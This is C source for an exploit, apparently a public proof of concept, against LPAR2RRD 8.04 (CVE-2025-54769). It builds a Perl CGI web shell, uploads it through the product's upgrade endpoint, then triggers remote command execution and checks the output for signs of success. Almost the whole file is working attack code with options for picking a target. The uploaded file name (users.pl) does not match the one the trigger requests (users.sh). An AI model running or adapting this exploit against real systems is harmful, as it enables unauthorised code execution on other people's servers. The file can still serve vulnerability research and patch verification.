/*
* Author : Byte Reaper
* Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
* CVE : CVE-2025-54769
* Vulnerability: RCE && directory traversal
* Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint,
* exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
*/
#include
#include
#include
#include "argparse.h"
#include
#include
#include
#define FULL 2500
void sleepAssembly()
{
struct timespec s ;
s.tv_sec = 0;
s.tv_nsec = 500000000;
__asm__ volatile
(
"mov $35, %%rax\n\t"
"xor %%rsi, %%rsi\n\t"
"syscall\n\t"
:
: "D" (&s)
: "rax",
"rsi",
"memory"
);
}
void syscallLinux()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax", "rdi"
);
}
int fileS = 0;
int useCookies = 0;
int verboseMode = 0;
const char *cookies;
const char *ip = NULL;
int portService = 0;
int port = 0;
int protocolS = 0;
const char *protocol = NULL;
int CreateFilePerl()
{
FILE *fileP = fopen("users.pl", "w");
if (fileP == NULL)
{
printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
syscallLinux();
return 0;
}
printf("[+] Create File Successfully\n");
char payloadContent[7000];
int payload = snprintf(payloadContent,
sizeof(payloadContent),
"#!/usr/bin/perl\n"
"use strict;\n"
"use warnings;\n"
"use CGI;\n"
"my $q = CGI->new;\n"
"my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
"if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
"{\n"
"\tprint \"Content-type: text/html\\n\\n\";\n"
"\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
"\tprint $commandW;\n"
"}\n"
);
if (payload < 0 || (size_t)payload >= sizeof(payloadContent))
{
fprintf(stderr,
"\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
syscallLinux();
}
size_t e = strlen(payloadContent);
unsigned long writeLen = fwrite(payloadContent,
1, strlen(payloadContent),
fileP);
if (writeLen != e)
{
printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
syscallLinux();
return 0;
}
printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
fclose(fileP);
return 1;
}
const char *resultCommand[] =
{
"root",
"admin",
"user",
"ssh",
"/home/",
NULL
};
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
syscallLinux();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
struct Mem responseGet ;
responseGet.buffer = NULL;
responseGet.len = 0;
CURLcode codeLib;
char full[FULL];
const char *proto = protocolS ? protocol : "https";
int prt = portService
? port
: (strcmp(proto, "http") == 0 ? 80 : 443);
int n = snprintf(full, sizeof(full),
"%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
proto, targetIP, prt);
if (n < 0 || (size_t)n >= sizeof(full))
{
fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
syscallLinux();
}
curl_easy_setopt(curl, CURLOPT_URL, full);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
sleepAssembly();
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
if (useCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
if (verboseMode)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
printf("\e[1;37m[+] GET URL: %s\e[0m\n",
full);
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers ,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Upgrade-Insecure-Requests: 1");
headers = curl_slist_append(headers,
"Sec-Fetch-Dest: document");
headers = curl_slist_append(headers,
"Sec-Fetch-Mode: navigate");
headers = curl_slist_append(headers,
"Priority: u=0, i");
headers = curl_slist_append(headers,
"Pragma: no-cache");
headers = curl_slist_append(headers,
"Cache-Control: no-cache");
headers = curl_slist_append(headers,
"Connection: keep-alive");
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
codeLib = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (codeLib == CURLE_OK)
{
printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
long codeH = 0;
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&codeH);
printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
if (responseGet.buffer)
{
if (verboseMode)
{
printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;35m===================================================================================================================\e[0m\n");
}
}
if (codeH >= 200 && codeH < 300)
{
printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
if (responseGet.buffer)
{
printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
responseGet.len);
printf("\e[1;35m===================================================================================================================\n");
for (int j = 0; resultCommand[j]; j++)
{
if (strstr(responseGet.buffer, resultCommand[j]))
{
printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
printf("\e[1;34m[+] Word : %s\e[0m\n",
resultCommand[j]);
printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
}
else
{
if (verboseMode)
{
printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n",
resultCommand[j]);
}
else
{
continue;
}
}
}
}
else
{
printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
if (verboseMode)
{
printf("\e[1;31m[-] Exit Syscall\e[0m\n");
}
}
}
else
{
printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
if (verboseMode)
{
if (responseGet.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
}
}
}
}
else
{
fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
syscallLinux();
}
free(responseGet.buffer);
responseGet.buffer = NULL;
responseGet.len = 0;
curl_easy_cleanup(curl);
}
void remoteCode(const char *ipS)
{
CURL *curl = curl_easy_init();
struct Mem response;
response.buffer = NULL;
response.len = 0;
CURLcode codeLibCurl;
if (verboseMode)
{
printf("\e[1;35m================================== [Value Response] ==================================\n");
printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
printf("\e[1;35m=======================================================================================\n");
}
if (!curl)
{
fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
syscallLinux();
}
char full[FULL];
const char *proto = protocolS ? protocol : "https";
int prt = portService
? port
: (strcmp(proto, "http") == 0 ? 80 : 443);
int n = snprintf(full,
sizeof(full),
"%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
proto, ipS, prt);
if (n < 0 || (size_t)n >= sizeof(full))
{
fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
syscallLinux();
}
if (!CreateFilePerl())
{
fprintf(stderr,
"\e[1;31m[-] Failed to create File users.pl\e[0m\n");
syscallLinux();
}
printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);
curl_mime *form = curl_mime_init(curl);
curl_mimepart *field = curl_mime_addpart(form);
curl_mime_name(field,
"upgfile");
curl_mime_filedata(field,
"users.pl");
curl_mime_filename(field,
"users.pl");
curl_mime_type(field,
"application/x-perl");
curl_easy_setopt(curl,
CURLOPT_URL,
full);
curl_easy_setopt(curl,
CURLOPT_POST,
1L);
curl_easy_setopt(curl,
CURLOPT_MIMEPOST, form);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
sleepAssembly();
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
if (useCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
if (verboseMode)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *headers = NULL;
char host[128];
int lenIp = snprintf(host ,
sizeof(host),
"Host: %s:%d",
ipS, prt);
if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
{
printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
syscallLinux();
}
headers = curl_slist_append(headers,
"Accept: */*");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"X-Requested-With: XMLHttpRequest");
headers = curl_slist_append(headers,
"Connection: keep-alive");
headers = curl_slist_append(headers,
"Priority: u=0");
headers = curl_slist_append(headers, "Authorization: ");
headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
headers = curl_slist_append(headers ,
host);
void *m = memset(host , 0, sizeof(host));
if (m == NULL)
{
fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
syscallLinux();
}
int lenO = snprintf(host ,
sizeof(host),
"Origin: https://%s:%d",
ipS, prt);
if (lenO < 0 || (size_t)lenO >= sizeof(host))
{
syscallLinux();
}
headers = curl_slist_append(headers,
host);
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
codeLibCurl = curl_easy_perform(curl);
curl_mime_free(form);
curl_slist_free_all(headers);
if (codeLibCurl != CURLE_OK)
{
fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
curl_easy_strerror(codeLibCurl));
syscallLinux();
}
long httpCode = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol);
printf("\e[1;36m[+] Port : %d\e[0m\n", port);
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
if (response.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m [+] Len Response : %zu\e[0m\n",response.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
if (strstr(response.buffer, "This file doesn't look like the upgrade package"))
{
printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
getRequest(curl, ipS);
}
}
else
{
fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
if (verboseMode)
{
fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
}
syscallLinux();
}
}
else
{
printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
if (verboseMode)
{
if (response.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m[-] Len Response : %zu\n",response.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
}
}
}
free(response.buffer);
response.buffer = NULL;
response.len = 0;
curl_easy_cleanup(curl);
}
int main(int argc,
const char **argv)
{
printf(
"\e[1;31m"
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖ \n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌ \n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌ ▌▙▌▄▌ \n"
"\e[1;37m\t\tByte Reaper\n"
);
curl_global_init(CURL_GLOBAL_DEFAULT);
printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&ip,
"Enter Target IP"),
OPT_STRING('c',
"cookies",
&cookies,
"cookies File"),
OPT_INTEGER('p',
"port",
&port ,
"Enter Target Port Service"),
OPT_STRING('t',
"protocol",
&protocol,
"Enter Protocol Service (http / https)"),
OPT_BOOLEAN('v',
"verbose",
&verboseMode,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
in_addr_t q = inet_addr(ip);
if (q == INADDR_NONE)
{
printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
syscallLinux();
}
if (!ip)
{
fprintf(stderr,"\e[1;31m[-] Please Enter Target IP !\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i \e[0m\n");
fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
syscallLinux();
}
if (verboseMode)
{
verboseMode = 1;
}
if (cookies)
{
useCookies = 1;
}
if (port)
{
portService = 1;
}
if (protocol)
{
protocolS = 1;
}
remoteCode(ip);
curl_global_cleanup();
return 0;
}